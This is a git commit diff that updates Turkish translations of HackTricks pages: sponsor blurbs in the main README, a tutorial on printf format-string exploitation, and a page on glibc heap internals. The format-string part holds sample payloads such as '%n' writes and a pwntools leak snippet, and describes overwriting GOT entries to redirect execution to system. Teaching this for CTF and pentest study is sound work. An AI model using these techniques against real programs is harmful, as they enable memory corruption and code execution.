Translated ['README.md', 'binary-exploitation/format-strings/README.md',

This commit is contained in:
Translator 2024-11-19 12:00:10 +00:00
parent fa4ccd1389
commit 51cfc8f87e
35 changed files with 568 additions and 573 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 142 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 142 KiB

After

Width:  |  Height:  |  Size: 108 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 108 KiB

After

Width:  |  Height:  |  Size: 63 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 63 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 3.7 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.7 KiB

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

After

Width:  |  Height:  |  Size: 4.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 4.1 KiB

After

Width:  |  Height:  |  Size: 131 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 131 KiB

After

Width:  |  Height:  |  Size: 79 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 79 KiB

After

Width:  |  Height:  |  Size: 82 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 82 KiB

After

Width:  |  Height:  |  Size: 107 KiB

View file

@ -32,7 +32,7 @@ Başlamak için, bir veya daha fazla **makineyi pentest ederken** **takip etmeni
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com), **İspanya**'daki en önemli siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
[**RootedCON**](https://www.rootedcon.com), **İspanya'daki** en önemli siber güvenlik etkinliği ve **Avrupa'daki** en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %}
@ -44,7 +44,7 @@ Başlamak için, bir veya daha fazla **makineyi pentest ederken** **takip etmeni
**Intigriti**, **Avrupa'nın #1** etik hacking ve **bug bounty platformudur.**
**Bug bounty ipucu**: **Intigriti**'ye **kaydolun**, hackerlar tarafından, hackerlar için oluşturulmuş bir premium **bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
**Bug bounty ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından, hackerlar için oluşturulmuş bir premium **bug bounty platformu**! Bugün [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresine katılın ve **$100,000**'a kadar ödüller kazanmaya başlayın!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -65,21 +65,21 @@ Bugün Erişim Alın:
### [HACKENPROOF](https://bit.ly/3xrrDrL)
<figure><img src=".gitbook/assets/image (50).png" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
* **Hacking İçgörüleri:** Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
* **Gerçek Zamanlı Hack Haberleri:** Hızla değişen hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
* **Gerçek Zamanlı Hack Haberleri:** Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın
* **Son Duyurular:** Yeni başlayan bug bounty'ler ve kritik platform güncellemeleri hakkında bilgi sahibi olun
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinde ve bugün en iyi hackerlarla iş birliği yapmaya başlayın!
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla iş birliği yapmaya başlayın!
***
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - Temel penetrasyon testi aracı seti
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
@ -87,9 +87,6 @@ Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**Hacke
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% endembed %}
***
### [SerpApi](https://serpapi.com/)
@ -98,8 +95,8 @@ Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**Hacke
**SerpApi**, **arama motoru sonuçlarına** erişim sağlamak için hızlı ve kolay gerçek zamanlı API'ler sunar. Arama motorlarını tarar, proxy'leri yönetir, captcha'ları çözer ve sizin için tüm zengin yapılandırılmış verileri ayrıştırır.
SerpApi'nin planlarından birine abone olmak, Google, Bing, Baidu, Yahoo, Yandex ve daha fazlası dahil olmak üzere farklı arama motorlarını taramak için 50'den fazla API'ye erişim içerir.\
Diğer sağlayıcılardan farklı olarak, **SerpApi sadece organik sonuçları taramaz**. SerpApi yanıtları, arama sonuçlarında bulunan tüm reklamları, satır içi resimleri ve videoları, bilgi grafikleri ve diğer öğeleri ve özellikleri sürekli olarak içerir.
SerpApi'nın planlarından birine abone olmak, Google, Bing, Baidu, Yahoo, Yandex ve daha fazlası dahil olmak üzere farklı arama motorlarını taramak için 50'den fazla API'ye erişim içerir.\
Diğer sağlayıcılardan farklı olarak, **SerpApi sadece organik sonuçları taramaz**. SerpApi yanıtları, arama sonuçlarında bulunan tüm reklamları, satır içi resimleri ve videoları, bilgi grafiklerini ve diğer öğeleri ve özellikleri sürekli olarak içerir.
Mevcut SerpApi müşterileri arasında **Apple, Shopify ve GrubHub** bulunmaktadır.\
Daha fazla bilgi için [**bloglarına**](https://serpapi.com/blog/) göz atın veya [**oyun alanlarında**](https://serpapi.com/playground) bir örnek deneyin.\
@ -115,7 +112,7 @@ Daha fazla bilgi için [**bloglarına**](https://serpapi.com/blog/) göz atın v
WebSec, pentesting, **Güvenlik** Denetimleri, Farkındalık Eğitimleri, Phishing Kampanyaları, Kod İncelemesi, İstismar Geliştirme, Güvenlik Uzmanları Dış Kaynak Kullanımı ve daha fazlasını içeren **hepsi bir arada güvenlik şirketidir**.
WebSec'in bir diğer ilginç yanı, sektördeki ortalamadan farklı olarak WebSec'in **yeteneklerine çok güvenmesidir**, o kadar ki **en iyi kalite sonuçları garanti eder**, web sitelerinde "**Eğer hackleyemiyorsak, ödemiyorsunuz!**" ifadesi yer almaktadır. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın!
WebSec'in diğer bir ilginç yanı, sektördeki ortalamadan farklı olarak WebSec'in **yeteneklerine çok güvenmesidir**, o kadar ki **en iyi kalite sonuçları garanti eder**, web sitelerinde "**Eğer hackleyemiyorsak, ödemiyorsunuz!**" ifadesi yer almaktadır. Daha fazla bilgi için [**web sitelerine**](https://websec.nl/en/) ve [**bloglarına**](https://websec.nl/blog/) göz atın!
Yukarıdakilere ek olarak WebSec, **HackTricks'in kararlı bir destekçisidir.**
@ -142,7 +139,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src=".gitbook/assets/grte.png" al
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **bizi** Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerini paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
</details>

View file

@ -9,25 +9,25 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
## Temel Bilgiler
C'de **`printf`** bir dizeyi **yazdırmak için** kullanılabilen bir işlevdir. Bu işlevin beklediği **ilk parametre**, **formatlayıcılarla birlikte ham metin**'dir. Beklenen **sonraki parametreler**, ham metindeki **formatlayıcıları** **değiştirmek için** **değerler**'dir.
C'de **`printf`** bazı metinleri **yazdırmak için** kullanılabilen bir fonksiyondur. Bu fonksiyonun beklediği **ilk parametre**, **formatlayıcılarla birlikte ham metin**'dir. **Sonraki parametreler**, ham metindeki **formatlayıcıları** **değiştirmek için** beklenen **değerler**dir.
Diğer savunmasız işlevler **`sprintf()`** ve **`fprintf()`**'dir.
Diğer savunmasız fonksiyonlar **`sprintf()`** ve **`fprintf()`**'dir.
Zafiyet, **saldırgan metni bu işlevin ilk argümanı olarak kullanıldığında** ortaya çıkar. Saldırgan, **printf format** dizesinin yeteneklerini kötüye kullanarak **herhangi bir adreste (okunabilir/yazılabilir)** **herhangi bir veriyi okumak ve yazmak için** özel bir girdi oluşturabilecektir. Bu şekilde **rastgele kod çalıştırma** yeteneğine sahip olacaktır.
Zafiyet, **bir saldırgan metni bu fonksiyona ilk argüman olarak kullanıldığında** ortaya çıkar. Saldırgan, **printf format** dizesinin yeteneklerini kötüye kullanarak **herhangi bir adreste (okunabilir/yazılabilir)** **herhangi bir veriyi okumak ve yazmak için** özel bir girdi oluşturabilecektir. Bu şekilde **rastgele kod çalıştırma** yeteneğine sahip olacaktır.
#### Formatlayıcılar:
```bash
@ -57,7 +57,7 @@ printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
* fprintf vulnerable:
* fprintf savunmasız:
```c
#include <stdio.h>
@ -72,7 +72,7 @@ return 0;
```
### **Pointer'lara Erişim**
Format **`%<n>$x`**, burada `n` bir sayı, printf'e yığın (stack) içinden n parametresini seçmesini belirtir. Yani printf kullanarak yığından 4. parametreyi okumak istiyorsanız şunu yapabilirsiniz:
Format **`%<n>$x`**, burada `n` bir sayı, printf'e yığın (stack) içinden n parametresini seçmesini belirtir. Yani, printf kullanarak yığından 4. parametreyi okumak istiyorsanız şunu yapabilirsiniz:
```c
printf("%x %x %x %x")
```
@ -84,15 +84,15 @@ printf("%4$x")
```
ve doğrudan dördüncüyü okuyun.
Saldırganın `printf` **parametresini kontrol ettiğini unutmayın, bu temelde** onun girdiğinin `printf` çağrıldığında yığında olacağı anlamına gelir, bu da belirli bellek adreslerini yığında yazabileceği anlamına gelir.
Saldırganın `printf` **parametresini kontrol ettiğini unutmayın, bu temelde** girdiğinin `printf` çağrıldığında yığın içinde olacağı anlamına gelir, bu da belirli bellek adreslerini yığında yazabileceği anlamına gelir.
{% hint style="danger" %}
Bu girişi kontrol eden bir saldırgan, **yığında rastgele adres ekleyebilecek ve `printf`'in bunlara erişmesini sağlayabilecektir**. Bir sonraki bölümde bu davranışın nasıl kullanılacağııklanacaktır.
Bu girişi kontrol eden bir saldırgan, **yığında rastgele adres ekleyebilir ve `printf`'in bunlara erişmesini sağlayabilir**. Bir sonraki bölümde bu davranışın nasıl kullanılacağııklanacaktır.
{% endhint %}
## **Rastgele Okuma**
Biçimlendiriciyi **`%n$s`** kullanarak **`printf`**'in **n pozisyonunda** bulunan **adres**i almasını ve **bunu bir dizeymiş gibi yazdırmasını** sağlamak mümkündür (0x00 bulunana kadar yazdır). Yani, ikili dosyanın temel adresi **`0x8048000`** ise ve kullanıcı girdisinin yığında 4. pozisyonda başladığını biliyorsak, ikilinin başlangıcını yazdırmak mümkündür:
Biçimlendiriciyi **`%n$s`** kullanarak **`printf`'in** **n pozisyonunda** bulunan **adres**i alması ve **bunu bir dizeymiş gibi yazdırması** (0x00 bulunana kadar yazdırma) mümkündür. Yani, ikili dosyanın temel adresi **`0x8048000`** ise ve kullanıcı girdisinin yığında 4. pozisyonda başladığını biliyorsak, ikilinin başlangıcını yazdırmak mümkündür:
```python
from pwn import *
@ -111,7 +111,7 @@ Girişin başına 0x8048000 adresini koyamayacağınızı unutmayın çünkü di
### Ofseti Bul
Girişinizin ofsetini bulmak için 4 veya 8 bayt (`0x41414141`) gönderebilir ve ardından **`%1$x`** ile değeri **artırarak** `A'leri` alana kadar devam edebilirsiniz.
Girişinizin ofsetini bulmak için 4 veya 8 bayt (`0x41414141`) gönderebilir ve ardından **`%1$x`** ile birlikte değeri **artırarak** `A'ları` alabilirsiniz.
<details>
@ -157,12 +157,12 @@ Rastgele okumalar şunlar için faydalı olabilir:
Formatlayıcı **`%<num>$n`** **yazılan bayt sayısını** **belirtilen adrese** **yazar**. Eğer bir saldırgan printf ile istediği kadar karakter yazabiliyorsa, **`%<num>$n`**'nin rastgele bir sayıyı rastgele bir adrese yazmasını sağlayabilir.
Neyse ki, 9999 sayısını yazmak için girdiye 9999 "A" eklemek gerekmez, bunun yerine **`%.<num-write>%<num>$n`** formatlayıcısını kullanarak **`<num-write>`** sayısını **`num` konumunu gösteren adrese** yazmak mümkündür.
Neyse ki, 9999 sayısını yazmak için girdiye 9999 "A" eklemek gerekmez, bunun yerine **`%.<num-write>%<num>$n`** formatlayıcısını kullanarak **`<num-write>`** sayısını **`num` pozisyonu tarafından gösterilen adrese** yazmak mümkündür.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Ancak, genellikle `0x08049724` gibi bir adres yazmak için (bu, bir seferde yazılması gereken BÜYÜK bir sayıdır), **`$hn`** kullanılır, **`$n`** yerine. Bu, **sadece 2 Bayt** yazmaya olanak tanır. Bu nedenle, bu işlem iki kez yapılır; bir kez adresin en yüksek 2B'si için ve bir kez de en düşük 2B'si için.
Ancak, genellikle `0x08049724` gibi bir adres yazmak için (bu, bir seferde yazılması gereken BÜYÜK bir sayıdır), **`$hn`** kullanılır, **`$n`** yerine. Bu, **sadece 2 Bayt** yazmaya olanak tanır. Bu nedenle, bu işlem iki kez yapılır; bir kez adresin en yüksek 2B'si için ve bir kez de en düşük olanlar için.
Bu nedenle, bu zafiyet **herhangi bir adrese (keyfi yazma)** **yazmaya** olanak tanır.
@ -173,7 +173,7 @@ Bu örnekte, hedef, daha sonra çağrılacak olan **GOT** tablosundaki bir **fon
{% endcontent-ref %}
Bir **fonksiyonu** **üst üste yazacağız** ki bu **fonksiyon**, **kullanıcıdan** **argümanlarını** **alır** ve **`system`** **fonksiyonuna** **işaret eder**.\
Belirtildiği gibi, adresi yazmak için genellikle 2 adım gereklidir: Önce adresin 2 Bayt'ını yazarsınız ve sonra diğer 2 Bayt'ı. Bunu yapmak için **`$hn`** kullanılır.
Yazmak için, genellikle 2 adım gereklidir: Önce **adresin 2 Bayt'ını** yazarsınız ve sonra diğer 2'sini. Bunu yapmak için **`$hn`** kullanılır.
* **HOB**, adresin 2 yüksek baytına çağrılır
* **LOB**, adresin 2 düşük baytına çağrılır
@ -231,15 +231,15 @@ Bir format string zafiyetinin yazma eylemlerini kötüye kullanarak **stack adre
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
* [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
* 32 bit, no relro, no canary, nx, no pie, format string kullanarak stack'ten flag'i sızdırmak için temel kullanım (işlem akışını değiştirmeye gerek yok)
* 32 bit, no relro, no canary, nx, no pie, format string kullanarak stack'ten flag'i sızdırmak için temel kullanım (çalışma akışını değiştirmeye gerek yok)
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 bit, relro, no canary, nx, no pie, `fflush` adresini win fonksiyonu ile (ret2win) üzerine yazmak için format string
* 32 bit, relro, no canary, nx, no pie, `fflush` adresini win fonksiyonu ile üzerine yazmak için format string (ret2win)
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32 bit, relro, no canary, nx, no pie, `.fini_array` içinde main'e bir adres yazmak için format string (böylece akış bir kez daha döner) ve `strlen`'a işaret eden GOT tablosundaki `system` adresini yazmak. Akış main'e döndüğünde, kullanıcı girişi ile `strlen` çalıştırılır ve `system`'a işaret eder, geçilen komutları çalıştırır.
* 32 bit, relro, no canary, nx, no pie, `.fini_array` içinde main'e bir adres yazmak için format string (böylece akış bir kez daha döner) ve `strlen`'a işaret eden GOT tablosundaki `system` adresini yazmak. Akış main'e geri döndüğünde, kullanıcı girişi ile `strlen` çalıştırılır ve `system`'a işaret eder, geçilen komutları çalıştırır.
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
**Hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -25,32 +25,32 @@ Talep edilen **bellek bir eşiği geçerse**, **`mmap`** talep edilen belleği h
## Arenalar
**Çok iş parçacıklı** uygulamalarda, heap yöneticisi çöküşe yol açabilecek **yarış koşullarını** önlemelidir. Başlangıçta, bu, yalnızca bir iş parçacığının aynı anda heap'e erişebilmesini sağlamak için **küresel bir mutex** kullanılarak yapılmıştır, ancak bu, mutex kaynaklı darboğaz nedeniyle **performans sorunlarına** yol açmıştır.
**Çoklu iş parçacıklı** uygulamalarda, heap yöneticisi çöküşe yol açabilecek **yarış koşullarını** önlemelidir. Başlangıçta, yalnızca bir iş parçacığının heap'e erişebilmesini sağlamak için **küresel bir mutex** kullanılıyordu, ancak bu mutex kaynaklı darboğaz nedeniyle **performans sorunlarına** yol açtı.
Bunu çözmek için, ptmalloc2 heap tahsis edici "arenalar" tanıttı; burada **her arena**, **kendi** veri **yapıları** ve **mutex** ile **ayrı bir heap** olarak işlev görür ve farklı arenaları kullandıkları sürece birden fazla iş parçacığının heap işlemleri gerçekleştirmesine olanak tanır.
Varsayılan "ana" arena, tek iş parçacıklı uygulamalar için heap işlemlerini yönetir. **Yeni iş parçacıkları** eklendiğinde, heap yöneticisi bunlara **ikincil arenalar** atar ve rekabeti azaltır. İlk olarak, her yeni iş parçacığını kullanılmayan bir arenaya bağlamaya çalışır, gerekirse yeni arenalar oluşturur; bu, 32-bit sistemler için CPU çekirdeklerinin sayısının 2 katı ve 64-bit sistemler için 8 katı ile sınırlıdır. Sınır aşıldığında, **iş parçacıkları arenaları paylaşmak zorundadır**, bu da potansiyel rekabete yol açar.
Ana arenanın `brk` sistem çağrısını kullanarak genişlemesi gibi, ikincil arenalar `mmap` ve `mprotect` kullanarak "alt heap'ler" oluşturur ve çok iş parçacıklı işlemler için bellek yönetiminde esneklik sağlar.
Ana arenanın `brk` sistem çağrısını kullanarak genişlemesinin aksine, ikincil arenalar `mmap` ve `mprotect` kullanarak "alt heap'ler" oluşturur ve çoklu iş parçacıklı işlemler için bellek yönetiminde esneklik sağlar.
### Alt Heap'ler
Alt heap'ler, çok iş parçacıklı uygulamalarda ikincil arenalar için bellek rezervleri olarak hizmet eder ve ana heap'ten ayrı olarak kendi heap bölgelerini büyütmelerine ve yönetmelerine olanak tanır. İşte alt heap'lerin başlangıç heap'inden nasıl farklılaştığı ve nasıl çalıştığı:
Alt heap'ler, çoklu iş parçacıklı uygulamalarda ikincil arenalar için bellek rezervleri olarak hizmet eder ve ana heap'ten ayrı olarak kendi heap bölgelerini büyütmelerine ve yönetmelerine olanak tanır. İşte alt heap'lerin başlangıç heap'inden nasıl farklılaştığı ve nasıl çalıştığı:
1. **Başlangıç Heap'i vs. Alt Heap'ler**:
* Başlangıç heap'i, programın ikili dosyasının bellekte hemen ardından yer alır ve `sbrk` sistem çağrısını kullanarak genişler.
* Başlangıç heap'i, programın ikili dosyasının hemen arkasında yer alır ve `sbrk` sistem çağrısını kullanarak genişler.
* İkincil arenalar tarafından kullanılan alt heap'ler, belirli bir bellek bölgesini haritalayan `mmap` aracılığıyla oluşturulur.
2. **`mmap` ile Bellek Rezervasyonu**:
* Heap yöneticisi bir alt heap oluşturduğunda, `mmap` aracılığıyla büyük bir bellek bloğu rezerve eder. Bu rezervasyon hemen bellek tahsis etmez; yalnızca diğer sistem süreçlerinin veya tahsislerin kullanmaması gereken bir bölgeyi belirler.
* Varsayılan olarak, bir alt heap için rezerve edilen boyut 32-bit süreçler için 1 MB ve 64-bit süreçler için 64 MB'dır.
2. **`mmap` ile Bellek Tahsisi**:
* Heap yöneticisi bir alt heap oluşturduğunda, `mmap` aracılığıyla büyük bir bellek bloğu ayırır. Bu tahsis hemen bellek ayırmaz; yalnızca diğer sistem süreçlerinin veya tahsislerin kullanmaması gereken bir bölgeyi belirler.
* Varsayılan olarak, bir alt heap için ayrılan boyut 32-bit süreçler için 1 MB ve 64-bit süreçler için 64 MB'dır.
3. **`mprotect` ile Aşamalı Genişleme**:
* Rezerve edilen bellek bölgesi başlangıçta `PROT_NONE` olarak işaretlenir; bu, çekirdeğin henüz bu alana fiziksel bellek tahsis etmesi gerekmediğini gösterir.
* Alt heap'i "büyütmek" için, heap yöneticisi `mprotect` kullanarak sayfa izinlerini `PROT_NONE`'dan `PROT_READ | PROT_WRITE`'a değiştirir ve bu, çekirdeğin daha önce rezerve edilen adreslere fiziksel bellek tahsis etmesini sağlar. Bu adım adım yaklaşım, alt heap'in gerektiği gibi genişlemesine olanak tanır.
* Ayrılan bellek bölgesi başlangıçta `PROT_NONE` olarak işaretlenir; bu, çekirdeğin bu alana fiziksel bellek ayırması gerekmediği anlamına gelir.
* Alt heap'i "büyütmek" için, heap yöneticisi `mprotect` kullanarak sayfa izinlerini `PROT_NONE`'dan `PROT_READ | PROT_WRITE`'a değiştirir ve bu, çekirdeğin daha önce ayrılan adreslere fiziksel bellek ayırmasını sağlar. Bu adım adım yaklaşım, alt heap'in gerektiği gibi genişlemesine olanak tanır.
* Tüm alt heap tükendiğinde, heap yöneticisi tahsise devam etmek için yeni bir alt heap oluşturur.
### heap\_info <a href="#heap_info" id="heap_info"></a>
Bu yapı, heap'in ilgili bilgilerini tahsis eder. Ayrıca, daha fazla tahsisten sonra heap belleği kesintili olmayabilir, bu yapı aynı zamanda bu bilgiyi de saklayacaktır.
Bu yapı, heap'in ilgili bilgilerini tahsis eder. Ayrıca, daha fazla tahsisten sonra heap belleği sürekli olmayabilir, bu yapı bu bilgiyi de saklayacaktır.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
@ -76,7 +76,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
Bu yapıdan bazı ilginç noktalar vardır (aşağıdaki C koduna bakın):
* `__libc_lock_define (, mutex);` Bu yapıdan yığına yalnızca 1 iş parçacığı tarafından erişildiğinden emin olmak için vardır.
* `__libc_lock_define (, mutex);` Bu yapıdan yığına erişimin bir seferde 1 iş parçacığı tarafından yapılmasını sağlamak için vardır.
* Bayraklar:
* ```c
#define NONCONTIGUOUS_BIT (2U)
@ -86,8 +86,8 @@ Bu yapıdan bazı ilginç noktalar vardır (aşağıdaki C koduna bakın):
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
* `mchunkptr bins[NBINS * 2 - 2];` **küçük, büyük ve sıralanmamış** **bins**'lerin **ilk ve son parçalarına** **işaretçiler** içerir (0 indeksinin kullanılmadığı için -2).
* Bu nedenle, bu **bins**'lerin **ilk parçası** bu yapıya **geri işaretçi** ve bu **bins**'lerin **son parçası** bu yapıya **ileri işaretçi** içerecektir. Bu, eğer **ana arenada bu adresleri sızdırabilirseniz** yapıya bir işaretçi elde edeceğiniz anlamına gelir.
* `mchunkptr bins[NBINS * 2 - 2];` **küçük, büyük ve sıralanmamış** **binaların** **ilk ve son parçalarına** **işaretçiler** içerir (0. indeks kullanılmadığı için -2).
* Bu nedenle, bu binaların **ilk parçası** bu yapıya **geri işaretçi** ve bu binaların **son parçası** bu yapıya **ileri işaretçi** içerecektir. Bu, eğer **ana arenada bu adresleri sızdırabilirseniz** yapıya bir işaretçi elde edeceğiniz anlamına gelir.
* `struct malloc_state *next;` ve `struct malloc_state *next_free;` yapıları arena bağlantılı listeleridir.
* `top` parçası son "parça"dır, bu temelde **tüm yığın hatırlatma alanıdır**. Üst parça "boş" olduğunda, yığın tamamen kullanılmıştır ve daha fazla alan talep etmesi gerekir.
* `last reminder` parçası, tam boyutlu bir parçanın mevcut olmadığı ve bu nedenle daha büyük bir parçanın bölündüğü durumlarda gelir, burada kalan kısmın işaretçisi yer alır.
@ -177,7 +177,7 @@ Ayrıca, mevcut olduğunda, kullanıcı verileri ayrıca bazı verileri içermek
<figure><img src="../../.gitbook/assets/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
{% hint style="info" %}
Listeyi bu şekilde bağlamanın, her bir parçanın kaydedilmesi gereken bir diziye ihtiyaç duymayı önlediğine dikkat edin.
Listeyi bu şekilde bağlamanın, her bir parçanın kaydedildiği bir diziye ihtiyaç duymayı önlediğine dikkat edin.
{% endhint %}
### Parça İşaretçileri
@ -258,7 +258,7 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
return request2size (req);
}
```
Not edin ki toplam gereken alanı hesaplamak için `SIZE_SZ` yalnızca 1 kez eklenir çünkü `prev_size` alanı veri depolamak için kullanılabilir, bu nedenle yalnızca başlangıç başlığı gereklidir.
Not edin ki, toplam gereken alanı hesaplamak için yalnızca `SIZE_SZ` 1 kez eklenir çünkü `prev_size` alanı veri depolamak için kullanılabilir, bu nedenle yalnızca başlangıç başlığı gereklidir.
### Parça verilerini al ve meta verileri değiştir
@ -351,7 +351,7 @@ people extending or adapting this malloc.
#define clear_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
```
* Başlık ve altbilgi ayarla (parça numaraları kullanıldığında)
* Başlık ve altbilgi ayarlayın (parça numaraları kullanıldığında)
```c
/* Set size at head, without disturbing its use bit */
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@ -395,7 +395,7 @@ return ptr;
### Hızlı Yığın Örneği
